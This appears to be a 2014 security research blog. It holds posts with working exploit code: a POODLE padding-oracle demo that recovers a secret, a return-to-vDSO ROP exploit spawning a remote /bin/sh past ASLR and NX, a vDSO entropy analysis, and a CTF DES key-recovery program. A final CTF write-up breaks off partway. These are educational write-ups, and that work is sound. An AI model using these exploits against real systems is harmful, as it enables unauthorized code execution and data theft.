Monday, December 22, 2014

The Padding Oracle in POODLE

This is a code which I wrote sometime back to demonstrate the padding oracle in POODLE vulnerability. Full details of the issue is explained in this original advisory This POODLE Bites: Exploiting The SSL 3.0 Fallback.

Client.encrypt depicts the client side encryption of attacker controlled data including the secret, Server.decrypt depicts the server decryption replying True of False for valid or invalid padding after modification by attacker. Attacker will act as man-in-the-middle
#!/usr/bin/python

import os
import struct
from Crypto.Cipher import AES
from Crypto.Hash import HMAC
from Crypto.Hash import SHA

ENCRYPT_KEY = ('0'*64).decode('hex')
SECRET = 'Y0u_Just_Pul1eD_Off_th3_P00DLE'
HMAC_SECRET = ''
BLOCK_SIZE  = 16
HMAC_SIZE   = 20

class Helper:

    @staticmethod
    def lsb(string): return ord(string[-1]) 

    @staticmethod
    def append_padding(string):
        strlen = len(string)
        # find the size of padding needed
        padlen = BLOCK_SIZE-(strlen % BLOCK_SIZE) - 1
        # last byte indicates the size of padding and rest of bytes are random
        return os.urandom(padlen) + chr(padlen)

    @staticmethod
    def remove_padding(string):
        # fetch last byte indicating padding
        padlen = Helper.lsb(string)
        # remove N padding bytes
        return string[:-(padlen+1)]

    @staticmethod
    def compute_mac(string):
        # 20 byte mac
        mac = HMAC.new(HMAC_SECRET, msg=None, digestmod=SHA)
        mac.update(string)
        return mac.digest()

class Client:

    # client secret to retrieve using POODLE 
    secret = SECRET

    @staticmethod
    def encrypt(prefix = "", suffix = ""):
        # attacker controlled prefix and suffix
        client  = prefix + Client.secret + suffix
        # compute mac for client data
        client += Helper.compute_mac(client)
        # padding added after mac calculation
        client += Helper.append_padding(client)
        IV = os.urandom(16)
        # AES encrypt
        aes = AES.new(ENCRYPT_KEY, AES.MODE_CBC, IV)
        return IV + aes.encrypt(client)

class Server:

    @staticmethod
    def decrypt(string):
        try:
            IV = string[:BLOCK_SIZE]
            aes = AES.new(ENCRYPT_KEY, AES.MODE_CBC, IV)
            # decrypt
            server = aes.decrypt(string[BLOCK_SIZE:])
            # remove padding
            server = Helper.remove_padding(server)
            # fetch plain text
            plain = server[:-HMAC_SIZE]
            # fetch mac 
            mac = server[-HMAC_SIZE:]
            # check if received mac equals computed mac
            if mac == Helper.compute_mac(plain): return True
            else: return False
        except: return False 

class Attacker:

    @staticmethod
    def getsecretsize():
        # set reference length for boundary check
        baselen = len(Client.encrypt())
        for s in range(1, BLOCK_SIZE+1):
            prefix = chr(0x42) * s
            trial  = len(Client.encrypt(prefix))
            # check if the block boundary is crossed
            if trial > baselen: break
        return baselen - BLOCK_SIZE - HMAC_SIZE - s 

    @staticmethod
    def paddingoracle():
        secret = ""
        # find length of secret
        secretlength  = Attacker.getsecretsize()
        # for each unknown byte in secret
        for c in range(1, secretlength+1):
            trial = 0
            # bruteforce until valid padding
            while True:
                # align prefix such that first unknown byte is the last byte of a block
                prefix = chr(0x42) * (BLOCK_SIZE - (c % BLOCK_SIZE))
                # align to block size boundary by padding suffix
                suffix = chr(0x43) * (BLOCK_SIZE - (len(prefix) + secretlength + HMAC_SIZE) % BLOCK_SIZE)
                # intercept and get client request
                clientreq = Client.encrypt(prefix, suffix)
                # remove padding bytes
                clientreq = clientreq[:-BLOCK_SIZE]
                blockindex = c/BLOCK_SIZE
                # fetch the hash block
                hashblock = clientreq[-BLOCK_SIZE:] 
                # block to decrypt
                currblock = clientreq[BLOCK_SIZE*(blockindex+1):BLOCK_SIZE*(blockindex+2)]
                # block previous to decryption block
                prevblock = clientreq[BLOCK_SIZE*blockindex: BLOCK_SIZE*(blockindex+1)]
                # prepare payload
                payload = clientreq + currblock
                trial += 1
                # send modified request to server and check server response
                if Server.decrypt(payload):
                    # on valid padding
                    s = chr(0xf ^ Helper.lsb(prevblock) ^ Helper.lsb(hashblock))
                    secret += s
                    print "Byte[%02d] = %s recovered in %04d tries = %s"%(c,s,trial,secret) 
                    break

        return secret

Calling the Attacker.paddingoracle will retrieve the secret using padding oracle attack.
renorobert@ubuntu:~$ python Poodle.py 
Byte[01] = Y recovered in 0245 tries = Y
Byte[02] = 0 recovered in 0645 tries = Y0
Byte[03] = u recovered in 0029 tries = Y0u
Byte[04] = _ recovered in 0182 tries = Y0u_
Byte[05] = J recovered in 0077 tries = Y0u_J
Byte[06] = u recovered in 0042 tries = Y0u_Ju
Byte[07] = s recovered in 0304 tries = Y0u_Jus
Byte[08] = t recovered in 0302 tries = Y0u_Just
Byte[09] = _ recovered in 0554 tries = Y0u_Just_
Byte[10] = P recovered in 0108 tries = Y0u_Just_P
Byte[11] = u recovered in 0012 tries = Y0u_Just_Pu
Byte[12] = l recovered in 0043 tries = Y0u_Just_Pul
Byte[13] = 1 recovered in 0101 tries = Y0u_Just_Pul1
Byte[14] = e recovered in 0086 tries = Y0u_Just_Pul1e
Byte[15] = D recovered in 0007 tries = Y0u_Just_Pul1eD
Byte[16] = _ recovered in 0376 tries = Y0u_Just_Pul1eD_
Byte[17] = O recovered in 0290 tries = Y0u_Just_Pul1eD_O
Byte[18] = f recovered in 0071 tries = Y0u_Just_Pul1eD_Of
Byte[19] = f recovered in 0238 tries = Y0u_Just_Pul1eD_Off
Byte[20] = _ recovered in 0067 tries = Y0u_Just_Pul1eD_Off_
Byte[21] = t recovered in 0433 tries = Y0u_Just_Pul1eD_Off_t
Byte[22] = h recovered in 0097 tries = Y0u_Just_Pul1eD_Off_th
Byte[23] = 3 recovered in 0216 tries = Y0u_Just_Pul1eD_Off_th3
Byte[24] = _ recovered in 0029 tries = Y0u_Just_Pul1eD_Off_th3_
Byte[25] = P recovered in 0661 tries = Y0u_Just_Pul1eD_Off_th3_P
Byte[26] = 0 recovered in 0917 tries = Y0u_Just_Pul1eD_Off_th3_P0
Byte[27] = 0 recovered in 0067 tries = Y0u_Just_Pul1eD_Off_th3_P00
Byte[28] = D recovered in 0180 tries = Y0u_Just_Pul1eD_Off_th3_P00D
Byte[29] = L recovered in 0018 tries = Y0u_Just_Pul1eD_Off_th3_P00DL
Byte[30] = E recovered in 0127 tries = Y0u_Just_Pul1eD_Off_th3_P00DLE
Y0u_Just_Pul1eD_Off_th3_P00DLE

Saturday, December 6, 2014

Return to VDSO using ELF Auxiliary Vectors

This post is about exploiting a minimal binary without SigReturn Oriented Programming (SROP). Below is demo code, thanks to my friend Zubin for bringing up this problem.
section .text

global _start
jmp _start
vuln:
sub rsp, 8
mov rax, 0 ; sys_read
mov rdi, 0
mov rsi, rsp
mov rdx, 1024
syscall
add rsp, 8
ret
  
_start:
call vuln
mov rax, 60 ; sys_exit
xor rdi, rdi
syscall
Lets see how I exploited this remotely bypassing ASLR and NX without SROP. This is what the crash looks like supplying "A"*16
(gdb) x/i $rip
=> 0x40009e: retq   
(gdb) info registers 
rax            0x11 17
rbx            0x0 0
rcx            0x40009a 4194458
rdx            0x400 1024
rsi            0x7fffffffe1a0 140737488347552
rdi            0x0 0
rbp            0x0 0x0
rsp            0x7fffffffe1a8 0x7fffffffe1a8
r8             0x0 0
r9             0x0 0
r10            0x0 0
r11            0x206 518
r12            0x0 0
r13            0x0 0
r14            0x0 0
r15            0x0 0
rip            0x40009e 0x40009e
eflags         0x10202 [ IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0 0
es             0x0 0
fs             0x0 0
gs             0x0 0
(gdb) x/100gx $rsp
0x7fffffffe1a8: 0x4141414141414141 0x000000000000000a
0x7fffffffe1b8: 0x00007fffffffe484 0x0000000000000000
0x7fffffffe1c8: 0x00007fffffffe498 0x00007fffffffe4a3
0x7fffffffe1d8: 0x00007fffffffe4b4 0x00007fffffffe4d3
0x7fffffffe1e8: 0x00007fffffffe508 0x00007fffffffe51f
0x7fffffffe1f8: 0x00007fffffffe533 0x00007fffffffe543
0x7fffffffe208: 0x00007fffffffe554 0x00007fffffffe562
0x7fffffffe218: 0x00007fffffffe57a 0x00007fffffffe58c
0x7fffffffe228: 0x00007fffffffe5c0 0x00007fffffffe5e1
0x7fffffffe238: 0x00007fffffffe5ee 0x00007fffffffec8a
0x7fffffffe248: 0x00007fffffffecba 0x00007fffffffeccb
0x7fffffffe258: 0x00007fffffffed19 0x00007fffffffed25
0x7fffffffe268: 0x00007fffffffed3b 0x00007fffffffed58
0x7fffffffe278: 0x00007fffffffedbf 0x00007fffffffedce
0x7fffffffe288: 0x00007fffffffede0 0x00007fffffffedf2
0x7fffffffe298: 0x00007fffffffee06 0x00007fffffffee17
0x7fffffffe2a8: 0x00007fffffffee2e 0x00007fffffffee43
0x7fffffffe2b8: 0x00007fffffffee4c 0x00007fffffffee5d
0x7fffffffe2c8: 0x00007fffffffee74 0x00007fffffffee7c
0x7fffffffe2d8: 0x00007fffffffee8f 0x00007fffffffee9e
0x7fffffffe2e8: 0x00007fffffffeeca 0x00007fffffffeeda
0x7fffffffe2f8: 0x00007fffffffef3c 0x00007fffffffef5f
0x7fffffffe308: 0x00007fffffffef6c 0x00007fffffffef77
0x7fffffffe318: 0x00007fffffffef96 0x00007fffffffefcb
0x7fffffffe328: 0x0000000000000000 0x0000000000000021
0x7fffffffe338: 0x00007ffff7ffd000 0x0000000000000010
0x7fffffffe348: 0x000000000fabfbff 0x0000000000000006
0x7fffffffe358: 0x0000000000001000 0x0000000000000011
0x7fffffffe368: 0x0000000000000064 0x0000000000000003
0x7fffffffe378: 0x0000000000400040 0x0000000000000004
0x7fffffffe388: 0x0000000000000038 0x0000000000000005
0x7fffffffe398: 0x0000000000000001 0x0000000000000007
0x7fffffffe3a8: 0x0000000000000000 0x0000000000000008
0x7fffffffe3b8: 0x0000000000000000 0x0000000000000009
0x7fffffffe3c8: 0x0000000000400080 0x000000000000000b
0x7fffffffe3d8: 0x00000000000003e8 0x000000000000000c
0x7fffffffe3e8: 0x00000000000003e8 0x000000000000000d
0x7fffffffe3f8: 0x00000000000003e8 0x000000000000000e
0x7fffffffe408: 0x00000000000003e8 0x0000000000000017
0x7fffffffe418: 0x0000000000000000 0x0000000000000019
0x7fffffffe428: 0x00007fffffffe469 0x000000000000001f
0x7fffffffe438: 0x00007fffffffefe4 0x000000000000000f
0x7fffffffe448: 0x00007fffffffe479 0x0000000000000000
0x7fffffffe458: 0x0000000000000000 0x0000000000000000
0x7fffffffe468: 0xf196161a3b373e00 0x8a1a3b02380b0831
0x7fffffffe478: 0x0034365f3638780b 0x6d6f682f00000000
ELF Auxiliary Vectors
As observed, the saved RIP is overwritten with 0x4141414141414141. After the saved RIP resides the argc. In this case argc with value 0x1 is being overwritten by new line. After argc is the argv array terminated by NULL. argv[0] points to program name. Then follows the env array of pointers. What comes after env is the interesting part, we have ELF Auxiliary Vectors. Auxiliary Vector has lot of information including a few pointers. This is what it looks like:
[root@localhost rrobert]# LD_SHOW_AUXV=1 id
AT_SYSINFO_EHDR: 0x7fff511fe000
AT_HWCAP:        fabfbff
AT_PAGESZ:       4096
AT_CLKTCK:       100
AT_PHDR:         0x400040
AT_PHENT:        56
AT_PHNUM:        9
AT_BASE:         0x7f4f98e72000
AT_FLAGS:        0x0
AT_ENTRY:        0x402538
AT_UID:          0
AT_EUID:         0
AT_GID:          0
AT_EGID:         0
AT_SECURE:       0
AT_RANDOM:       0x7fff51193199
AT_EXECFN:       /bin/id
AT_PLATFORM:     x86_64
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
AT_SYSINFO_EHDR is the address of VDSO (Virtual Dynamic Shared Object). VDSO has limited set of gadgets, which could be useful to perform ROP. If AT_SYSINFO_EHDR value could be leaked one could return into vdso.

Triggering Information Leak
[*] First send enough bytes to overwrite the RIP to call sys_read
[*] Send one byte of data ie only a new line. This will set RAX = 0x1 , which is syscall number for write
[*] RDI will still point to stdin, RSI is a pointer in stack and RDX = 1024
[*] Trigger a syscall. Since stdin descriptor is not read-only and points to same character device as stdout, we can actually write into it
[*] This will leak 1024 bytes of stack data including the ELF Auxiliary Vector

ELF Auxiliary Vector is nothing but key value pairs. AT_RANDOM is pointer into the stack area, which is immediately after the vector table. This could be reliably used to compute the address of read buffer since the offset is known. So from the leaked ELF Auxiliary Vector, base address of vdso and address of read buffer could be found. Now lets chain a ROP payload from vdso

return-to-vdso
vdso could be dumped and searched upon for gadgets.
gdb-peda$ vmmap
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp [vdso]

gdb-peda$ dumpmem vdso.so 0x00007ffff7ffd000 0x00007ffff7fff000
Dumped 8192 bytes to 'vdso.so'

file vdso.so
vdso.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0x69c5bc417a94f7f87f08ab2002f9252836ab7aac, stripped
The idea of payload was to make the call execve('/bin/sh',0,0) . Since read buffer address is known, we could place /bin/sh in stack itself. Then we need gadgets to load RAX with syscall number for execve, RDI with pointer to /bin/sh, RSI and RDX set to NULL. Below are the gadgets found in vdso of Fedora 20

Set EDX = 0
xor edx,edx; 
mov QWORD PTR [rsi+0x8],rax; 
add rdi,rdx; 
test r12d,r12d; 
mov QWORD PTR [rsi],rdi; 
jne addr; 
nop DWORD PTR [rax+0x0]; 
movsxd rdi,r15d; 
mov eax,0xe4; 
syscall; 
add rsp,0x28; 
pop rbx; 
pop r12; 
pop r13; 
pop r14; 
pop r15; 
pop rbp; 
ret  
Populate RSI
pop rsi; 
pop r15; 
pop rbp; 
ret
Populate RDI
pop rdi; 
pop rbp; 
ret
Control EAX
add eax, dword [rbx] ; 
retn 0x0005
Below is exploit to get remote shell bypassing ASLR and NX:
#!/usr/bin/env python

import telnetlib
import socket
import struct
import time

ip = '127.0.0.1'
port = 3335

# id's of Auxillary Vectors
AT_SYSINFO_EHDR = 0x21
AT_HWCAP  = 0x10 
AT_PAGESZ  = 0x06
AT_CLKTCK = 0x11
AT_PHDR  = 0x03
AT_PHENT = 0x04
AT_PHNUM = 0x05
AT_BASE  = 0x07
AT_FLAGS = 0x08
AT_ENTRY = 0x09
AT_UID  = 0x0b
AT_EUID  = 0x0c
AT_GID  = 0x0d
AT_EGID  = 0x0e
AT_SECURE = 0x17
AT_RANDOM = 0x19
AT_EXECFN = 0x1f
AT_PLATFORM     = 0x0f

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# stage ONE
payload  = struct.pack("<Q", 0x0068732f6e69622f) # /bin/sh - we will use this during stage TWO
payload += struct.pack("<Q", 0x400082)   # ret to sys_read
payload += struct.pack("<Q", 0x400098)   # syscall to sys_write depending on RAX
payload += struct.pack("<Q", 0x4141414141414141) # PAD
payload += struct.pack("<Q", 0x400082)   # ret to sys_read
payload += chr(0xa)
soc.send(payload)
time.sleep(2.0)

# write single byte to setup RAX for sys_write
soc.send(chr(0xa))
time.sleep(2.0)

# read the information leaked which contains Auxillary Vector
ENV_AUX_VEC = soc.recv(1024)

QWORD_LIST = []
for i in range(0, len(ENV_AUX_VEC), 8):
    QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC[i:i+8])[0])

start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table
AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (18 * 2)] # size of auxillary table
AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))

vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]
print "[*] Base address of VDSO : %s" % hex(vdso_address)

offset = 0x2b9
random_address = AUX_VEC_ENTRIES[AT_RANDOM]
buffer_address = random_address - 0x2b9
print "[*] Buffer address in stack : %s" % hex(buffer_address)  

# stage TWO

offset_xor_edx = 0x7b0 # xor edx,edx; mov QWORD PTR [rsi+0x8],rax; add rdi,rdx; test r12d,r12d; mov QWORD PTR [rsi],rdi; jne addr; nop DWORD PTR [rax+0x0]; movsxd rdi,r15d; mov eax,0xe4; syscall; add rsp,0x28; pop rbx; pop  r12; pop r13; pop r14; pop  r15; pop rbp; ret
offset_pop_rsi = 0x7dc # pop rsi; pop r15; pop rbp; ret
offset_pop_rdi = 0x7de # pop rdi; pop rbp; ret
offset_add_eax = 0x600 # add eax, dword [rbx] ; retn 0x0005
offset_eax_val = 0x672 # 0x3b for sys_execve
syscall = 0x400098

payload  = struct.pack("<Q", 0x4141414141414141) # PAD
payload += struct.pack("<Q", vdso_address + offset_xor_edx)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_eax_val)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_add_eax) # this will unalign the stack by 5 bytes
payload += struct.pack("<Q", vdso_address + offset_pop_rdi)
payload += chr(0x00)    # PAD
payload += struct.pack("<I", 0x00000000) # PAD
payload += struct.pack("<Q", buffer_address)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_pop_rsi)
payload += struct.pack("<Q", 0x0000000000000000)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", syscall)  # execve("/bin/sh", 0, 0)
payload += chr(0xa)
soc.send(payload)

s = telnetlib.Telnet()
s.sock = soc
s.interact()
[renorobert@localhost aux_vec]$ nc -vvv -e ./chall -l -p 3335
Listening on any address 3335 (directv-soft)
Connection from 127.0.0.1:39658
Passing control to the specified program

[renorobert@localhost aux_vec]$ python sploit_aux_vec.py 
[*] Base address of VDSO : 0x7fff25ded000
[*] Buffer address in stack : 0x7fff25cba1c0
id
uid=1000(renorobert) gid=1000(renorobert) groups=1000(renorobert),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[renorobert@localhost aux_vec]$ uname -r
3.11.10-301.fc20.x86_64
VDSO would change across versions, so availability of gadgets may also differ.

VDSO Address Bruteforce

Also, VDSO address is not very random. One can brute force its base address even in 64 bit.
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fffac97e000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fffe2d38000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fffe0de7000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fff43926000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fff009fe000)

[renorobert@localhost aux_vec]$ while true; do ldd /bin/ls; done | grep 0x00007fff009fe000
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)

[renorobert@localhost aux_vec]$ uname -r
3.11.10-301.fc20.x86_64
Update - CVE-2014-9585

The VDSO entropy issue is assigned CVE-2014-9585. New patch improves ASLR from 11 quality bits to 18 quality bits as per paxtest. Further information below

Bug 89591 - VDSO randomization not very random
oss-sec discussion

Below is the code to show biased bits
#!/usr/bin/env python

import subprocess
import re

bentropy = {}
size = 64
for _ in range(size): 
    bentropy[_] = {0:0, 1:0}
NSAMPLE = 500
print "[*] Sampling %d addresses" %(NSAMPLE)

def get_vdso_address(NSAMPLE):
    for _ in range(NSAMPLE):
        l = subprocess.check_output(["ldd", "/bin/ls"])
        vdso_entry = l.split(chr(0xa))[0]
        vdso_address = re.search("0x([A-Fa-f\d]{16})", vdso_entry)
        vdso_address = vdso_address.groups()[0]
        vdso_address = int(vdso_address, 16)
        yield vdso_address

for address in get_vdso_address(NSAMPLE):
    for index in range(size):
        bit = (address >> index) & 1
        key = size - index - 1
        bentropy[key][bit] += 1

probable_address = 0x0

for key, value in bentropy.items():
    if value[0] > value[1]:
        probable_address = (probable_address << 1)
    else:
        probable_address = (probable_address << 1) | 1
    print "%02d ['0':%05d, '1':%05d]" %(key, value[0], value[1])

print "[*] Probable address to use : %s" % hex(probable_address)
renorobert@ubuntu:~/vdso$ python vdso.py 
[*] Sampling 500 addresses
00 ['0':00500, '1':00000]
01 ['0':00500, '1':00000]
02 ['0':00500, '1':00000]
03 ['0':00500, '1':00000]
04 ['0':00500, '1':00000]
05 ['0':00500, '1':00000]
06 ['0':00500, '1':00000]
07 ['0':00500, '1':00000]
08 ['0':00500, '1':00000]
09 ['0':00500, '1':00000]
10 ['0':00500, '1':00000]
11 ['0':00500, '1':00000]
12 ['0':00500, '1':00000]
13 ['0':00500, '1':00000]
14 ['0':00500, '1':00000]
15 ['0':00500, '1':00000]
16 ['0':00500, '1':00000]
17 ['0':00000, '1':00500]
18 ['0':00000, '1':00500]
19 ['0':00000, '1':00500]
20 ['0':00000, '1':00500]
21 ['0':00000, '1':00500]
22 ['0':00000, '1':00500]
23 ['0':00000, '1':00500]
24 ['0':00002, '1':00498]
25 ['0':00000, '1':00500]
26 ['0':00004, '1':00496]
27 ['0':00003, '1':00497]
28 ['0':00003, '1':00497]
29 ['0':00003, '1':00497]
30 ['0':00005, '1':00495]
31 ['0':00005, '1':00495]
32 ['0':00266, '1':00234]
33 ['0':00241, '1':00259]
34 ['0':00250, '1':00250]
35 ['0':00274, '1':00226]
36 ['0':00228, '1':00272]
37 ['0':00264, '1':00236]
38 ['0':00249, '1':00251]
39 ['0':00266, '1':00234]
40 ['0':00238, '1':00262]
41 ['0':00259, '1':00241]
42 ['0':00260, '1':00240]
43 ['0':00060, '1':00440]
44 ['0':00091, '1':00409]
45 ['0':00100, '1':00400]
46 ['0':00121, '1':00379]
47 ['0':00123, '1':00377]
48 ['0':00118, '1':00382]
49 ['0':00128, '1':00372]
50 ['0':00126, '1':00374]
51 ['0':00371, '1':00129]
52 ['0':00500, '1':00000]
53 ['0':00500, '1':00000]
54 ['0':00500, '1':00000]
55 ['0':00500, '1':00000]
56 ['0':00500, '1':00000]
57 ['0':00500, '1':00000]
58 ['0':00500, '1':00000]
59 ['0':00500, '1':00000]
60 ['0':00500, '1':00000]
61 ['0':00500, '1':00000]
62 ['0':00500, '1':00000]
63 ['0':00500, '1':00000]
[*] Probable address to use : 0x7fff6a9fe000
Only bits 32 to 42 [11 bits] are properly randomized and rest are biased leading to bruteforce

Friday, October 24, 2014

ECTF 2014 - SEDDIT - Exploit 400

Played ECTF with some of friends in Team BADSECTOR. Exploit 400 was a Linux 64-bit ELF protected with NX, partial RELRO and canary. There was buffer overflows everywhere as the __isoc99_scanf() function called now and then, reads data without any bound check. But the issue was stack canaries, its random everytime we make a connection. So bruteforce was not possible. There was information leak available in MakePost option, by setting the PostType to Link Only.
.text:0000000000400E88 mov     eax, offset aD  ; "%d"
.text:0000000000400E8D lea     rdx, [rbp+PostType]
.text:0000000000400E91 mov     rsi, rdx
.text:0000000000400E94 mov     rdi, rax
.text:0000000000400E97 mov     eax, 0
.text:0000000000400E9C call    ___isoc99_scanf
.text:0000000000400EA1 mov     eax, [rbp+PostType]
.text:0000000000400EA4 test    eax, eax
.text:0000000000400EA6 jz      short LinkOnly

.text:0000000000400F35 lea     rdx, [rbp+ContentBuffer]
.text:0000000000400F39 mov     rsi, rdx
.text:0000000000400F3C mov     rdi, rax        ; format
.text:0000000000400F3F mov     eax, 0
.text:0000000000400F44 call    _printf
Using this uninitialized contents of ContentBuffer could be leaked. But NUL bytes in stack would prevent us from leaking much of the useful info easily. I spent lot of time working along this path.

Lets see what the program actually does:

[*] CreateAccount option - Supply username and salt, DES encryption is done on the username using the supplied salt and a secret key from key file. This encrypted username is the password
[*] Login option - Supply the username and DES generated password. Also there is separate login for admin which will give us the flag
[*] MakePost - We saw this earlier
[*] Exit

CreateAccount option was interesting. It reads username into stack and salt into .bss buffer. Since GOT is located in lower address than .bss due to partial RELRO, we cannot overflow into GOT. Again, getting RCE looked difficult.

After this I analyzed the Encrypt() function at 0x0400A04. It does the following:

[*] Opens key file
[*] Checks the length of user supplied salt. If len(salt) < 7, pad with a till len(salt) == 7
[*] Then it copies salt into stack at [RBP-0x20] and finds the index of NUL byte in salt
[*] This index is used as pointer into buffer in stack to read() 7 bytes of data from key file
[*] Then NULL is moved to [RBP-0x12]
[*] So total length of password string could be maximum of 14 bytes

So the issue with this mechanism is, we could control the number of bytes from key file to be used for encryption. Say I supply a 13 byte salt [Only a max of 7 byte salt is expected but we can overflow], only a single byte in key file would be used for encryption process because the maximum size of salt+key == 14.

For admin login, 64 byte salt memory is cleared. Then 7 byte pad of a is added and 7 byte key is concatenated to compute the password. If we could find the contents of key file, we could find the admin password.

To find the contents of key file, we can use the remote service as oracle. Supply 7 different length of salt values say 13, 12, 11, 10, 9, 8 and 7 [aaaaaaaaaaaaa, aaaaaaaaaaaa, aaaaaaaaaaa, aaaaaaaaaa, aaaaaaaaa, aaaaaaaa, aaaaaaa] . Also keep the username fixed. For each of this pair, the remote service will generate a password. This 7 values could be used to retrieve the key.

The idea is
[*] For salt of 13 byte, bruteforce the last byte to get the single byte used from key file. Now 1 byte of key is recovered
[*] Next use 12 byte of salt. With first byte of key already found, we could bruteforce a single 2nd byte of key

This way all 7 bytes of key could be recovered to compute the admin password. Below is the full code to do this:
#include <stdio.h>
#include <openssl/des.h>
#include <string.h>
#include <stdlib.h>

#define SALTLEN 7

/* gcc -o key key.c -l crypto */

/* Init passwords for overwritten salts */
char *password[] = 
{
    [0] = "50f88e127e97a38f", /* 13 byte salt */
    [1] = "b6960556480cff35", /* 12 byte salt */
    [2] = "6ce9ca9639f4c447", /* 11 byte salt */
    [3] = "bfa81cd3767d5c16", /* 10 byte salt */
    [4] = "7267b04756b63414", /* 09 byte salt */
    [5] = "aedb1eed82da7235", /* 08 byte salt */
    [6] = "d4f895d88b1a6d18", /* 07 byte salt */
};

char key[] = "aaaaaaaaaaaaaa";
unsigned char username[8] = "AAAAAAAA";
unsigned char admin[8] = "admin\x00\x00\x00"; /* PAD for 8 bytes */
int keysize = sizeof(key);

int main(int argc, char **argv)
{
    unsigned char output[8];
    DES_cblock key_block;
    DES_key_schedule key_schedule;
    char encbuffer[20];
    unsigned char key_byte;
    int salt_counter = 0;
    int index = 0;

    for(key_byte = 0; key_byte < 255; key_byte++)
    {
        key[keysize-2] = key_byte;  /* bruteforce last byte */
        DES_string_to_key(key, &key_block);
        DES_set_key(&key_block, &key_schedule);
        DES_ecb_encrypt(&username, &output, &key_schedule, DES_ENCRYPT);

        for(index = 0; index < 8; index++)
        {
            sprintf(&encbuffer[index*2], "%02x", output[index]);
        }

        if(strcmp(encbuffer, password[salt_counter]) == 0)
        {
            printf("Password [%s] = 0x%x\n", password[salt_counter], key_byte);
            salt_counter++;
            if (salt_counter == SALTLEN) break; 
            key_byte = 0; /* reset loop */
 
            /* update key */
            for(index = 0; index < keysize-2; index++)
            {
                key[index] = key[index+1];
            }       
        }
    }
    printf("Key = %s\n", key);

    /* Find admin password */
    DES_string_to_key(key, &key_block);
    DES_set_key(&key_block, &key_schedule);
    DES_ecb_encrypt(&admin, &output, &key_schedule, DES_ENCRYPT);

    for(index = 0; index < 8; index++)
    {
        sprintf(&encbuffer[index*2], "%02x", output[index]);
    }

    printf("Password = %s\n", encbuffer);
    return 0;
}
renorobert@ubuntu:/host/ECTF$ ./key
Password [50f88e127e97a38f] = 0x68
Password [b6960556480cff35] = 0x69
Password [6ce9ca9639f4c447] = 0x67
Password [bfa81cd3767d5c16] = 0x68
Password [7267b04756b63414] = 0x73
Password [aedb1eed82da7235] = 0x65
Password [d4f895d88b1a6d18] = 0x63
Key = aaaaaaahighsec
Password = 94140f8339377477
The content of the key file is highsec and flag for the challenge is flag{Encryption_is_Not_a_silver_bullet}

Thursday, September 25, 2014

CSAW CTF Quals 2014 - S3 - Exploitation 300 - [Team SegFault]

For this challenge we got a Linux 64-bit ELF executable [C++ code]. ASLR was enabled in the remote machine and NX disabled in executable. The executable is simply, it could store counted and NUL terminated string. Stored strings could also be updated and read using <id>
Welcome to Amazon S3 (String Storage Service)

    c <type> <string> - Create the string <string> as <type>
                        Types are:
                            0 - NULL-Terminated String
                            1 - Counted String
    r <id>            - Read the string referenced by <id>
    u <id> <string>   - Update the string referenced by <id> to <string>
    d <id>            - Destroy the string referenced by <id>
    x                 - Exit Amazon S3
Below is the data structure for storing Counted String:
24 Bytes
 ______________________
|  Ptr to ObjectA [ID] |
|______________________|
|   Type [Counted][1]  |
|______________________|
|   Ptr to ObjectA     |
|______________________|


24 Bytes - ObjectA
______________________
|       VTABLE        |
|_____________________|
|   Size of String    |
|_____________________|
|   Ptr to String     |
|_____________________|

and for NUL-Terminated String:
24 Bytes
 ______________________
|  Ptr to String[ID]   |
|______________________|
|    Type [NUL][0]     |
|______________________|
|  Ptr to UserString   |
|______________________|

The vulnerability is in UpdateString feature, it doesn't check for Counted String or NUL-terminated string. Directly treats update of Counted String as handling a NUL-Terminated string and updates Ptr to ObjectA with Ptr ot UserString, but leaves the Type field as such.
24 Bytes - After Update
 ______________________
|Ptr to UserString[ID] |
|______________________|
|   Type [Counted][1]  |
|______________________|
|  Ptr to UserString   |
|______________________|


24 Bytes - Old ObjectA
______________________
|       VTABLE        |
|_____________________|
|   Size of String    |
|_____________________|
|   Ptr to String     |
|_____________________|

UserString:
 _____________________
|       AAAAAAAA      |
|_____________________|
|       BBBBBBBB      |
|_____________________|
|       ........      |
|_____________________|

